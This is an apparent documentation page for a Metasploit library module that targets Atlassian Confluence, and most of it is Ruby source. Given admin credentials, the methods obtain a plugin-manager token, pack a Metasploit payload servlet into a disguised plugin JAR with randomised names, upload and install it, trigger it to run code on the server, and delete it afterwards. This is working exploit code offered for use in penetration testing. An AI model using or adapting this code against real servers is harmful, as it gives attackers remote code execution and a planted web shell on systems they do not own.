Module: Msf::Exploit::Remote::HTTP::Atlassian::Confluence::PayloadPlugin

Includes:
Msf::Exploit::Retry
Defined in:
lib/msf/core/exploit/remote/http/atlassian/confluence/payload_plugin.rb

Instance Method Summary collapse

Methods included from Msf::Exploit::Retry

#retry_until_truthy

Instance Method Details

#delete_payload_plugin(plugin_key, payload_endpoint, admin_username, admin_password) ⇒ Object

[View source] [View on GitHub]

125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
# File 'lib/msf/core/exploit/remote/http/atlassian/confluence/payload_plugin.rb', line 125

def delete_payload_plugin(plugin_key, payload_endpoint, admin_username, admin_password)
  vprint_status('Deleting plugin...')

  res = send_request_cgi(
    'method' => 'DELETE',
    'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0', "#{plugin_key}-key"),
    'headers' => {
      'Authorization' => basic_auth(admin_username, admin_password),
      'Connection' => 'close'
    }
  )

  unless res&.code == 204
    print_warning("Deleting plugin failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")
  end
end

#generate_payload_plugin(plugin_key, payload_endpoint) ⇒ Object

[View source] [View on GitHub]

20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# File 'lib/msf/core/exploit/remote/http/atlassian/confluence/payload_plugin.rb', line 20

def generate_payload_plugin(plugin_key, payload_endpoint)
  vprint_status('Generating payload plugin')
  webshell_jar = payload.encoded_jar(random: true)

  webshell_jar.add_file(
    'atlassian-plugin.xml',
    %(
<atlassian-plugin name="#{rand_text_alpha(8)}" key="#{plugin_key}" plugins-version="2">
<plugin-info>
  <description>#{rand_text_alphanumeric(8)}</description>
  <version>#{rand(1024)}.#{rand(1024)}</version>
</plugin-info>
<servlet key="#{rand_text_alpha(8)}" class="#{webshell_jar.substitutions['metasploit']}.PayloadServlet">
  <url-pattern>#{normalize_uri(payload_endpoint)}</url-pattern>
</servlet>
</atlassian-plugin>)
  )

  webshell_jar.add_file('metasploit/PayloadServlet.class', MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class'))
  return webshell_jar.pack
end

#get_upm_token(admin_username, admin_password) ⇒ Object

[View source] [View on GitHub]

4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# File 'lib/msf/core/exploit/remote/http/atlassian/confluence/payload_plugin.rb', line 4

def get_upm_token(admin_username, admin_password)
  # https://github.com/atlassian-api/atlassian-python-api/blob/master/atlassian/jira.py#L3356-L3361
  res = send_request_cgi({
                           'method' => 'HEAD',
                           'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0/'),
                           'headers' => {
                             'X-Atlassian-Token' => 'no-check',
                             'Authorization' => basic_auth(admin_username, admin_password),
                             'Accept' => '*/*'
                           }
                         })
  fail_with(Failure::UnexpectedReply, 'Unable to retrieve the UPM token using the rest API') unless res&.code == 200 && res&.headers&.[]('upm-token')

  res.headers['upm-token']
end

#trigger_payload_plugin(payload_endpoint) ⇒ Object

[View source] [View on GitHub]

113
114
115
116
117
118
119
120
121
122
123
# File 'lib/msf/core/exploit/remote/http/atlassian/confluence/payload_plugin.rb', line 113

def trigger_payload_plugin(payload_endpoint)
  vprint_status('Triggering payload plugin')
  res = send_request_cgi(
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, 'plugins', 'servlet', payload_endpoint)
  )

  unless res&.code == 200
    fail_with(Failure::PayloadFailed, "Triggering payload failed, unexpected reply from endpoint: /plugins/servlet/#{payload_endpoint}")
  end
end

#upload_payload_plugin(webshell_jar, admin_username, admin_password) ⇒ Object

[View source] [View on GitHub]

42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
# File 'lib/msf/core/exploit/remote/http/atlassian/confluence/payload_plugin.rb', line 42

def upload_payload_plugin(webshell_jar, admin_username, admin_password)
  vprint_status('Uploading payload plugin')
  post_data = Rex::MIME::Message.new
  post_data.add_part(webshell_jar, 'application/java-archive', 'binary', "form-data; name=\"plugin\"; filename=\"#{rand_text_alphanumeric(8..16)}.jar\"")
  post_data.add_part('', nil, nil, 'form-data; name="url"')

  data = post_data.to_s
  res = send_request_cgi({
                          'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0/'),
                          'method' => 'POST',
                          'data' => data,
                          'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
                          'headers' => {
                            'Authorization' => basic_auth(admin_username, admin_password),
                            'Accept' => '*/*'
                          },
                          'vars_get' => {
                            'token' => get_upm_token(admin_username, admin_password)
                          }
                        })

  unless res&.code == 202
    fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply code from endpoint: /rest/plugins/1.0/')
  end

  unless res.body =~ %r{<textarea>(.+)</textarea>}
    fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, unexpected reply data from endpoint: /rest/plugins/1.0/')
  end

  begin
    plugin_json = JSON.parse(::Regexp.last_match(1))
  rescue JSON::ParserError
    fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, failed to parse JSON data from endpoint: /rest/plugins/1.0/')
  end

  # We receive a JSON object like this:
  # <textarea>{"type":"INSTALL","pingAfter":100,"status":{"done":false,"statusCode":200,"contentType":"application/vnd.atl.plugins.install.installing+json","source":"JQEjEJBr.jar","name":"JQEjEJBr.jar"},"links":{"self":"/rest/plugins/1.0/pending/52227753-1c3e-496f-a4f4-d52a8b3850dc","alternate":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc"},"timestamp":1697471602188,"userKey":"4028d6b28b294680018b39311d17001e","id":"52227753-1c3e-496f-a4f4-d52a8b3850dc"}</textarea>

  links_alternate = plugin_json&.dig('links', 'alternate')
  if links_alternate.nil?
    fail_with(Failure::UnexpectedReply, 'Uploading plugin failed, no alternate link in reply from endpoint: /rest/plugins/1.0/')
  end

  # The plugin is installed asynchronously, so we poll the server for installation to be completed.
  plugin_ready = retry_until_truthy(timeout: datastore['CONFLUENCE_PLUGIN_TIMEOUT']) do
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, links_alternate)
    )

    # We receive a JSON result to indicate if the plugin is finished installing.
    # {"links":{"self":"/rest/plugins/1.0/tasks/52227753-1c3e-496f-a4f4-d52a8b3850dc","result":"/rest/plugins/1.0/plkWITNH-key"},"done":true,"type":"INSTALL","progress":1.0,"pollDelay":100,"timestamp":1697471602188}

    if res&.code == 200
      begin
        res_json = JSON.parse(res.body)
        next res_json['done']
      rescue JSON::ParserError
        next false
      end
    end

    false
  end

  unless plugin_ready
    fail_with(Failure::TimeoutExpired, 'Uploading plugin failed, timeout while waiting to install.')
  end

end